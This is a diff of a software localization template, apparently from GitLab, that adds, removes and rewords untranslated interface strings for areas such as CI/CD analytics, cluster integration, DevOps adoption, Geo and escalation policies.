msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
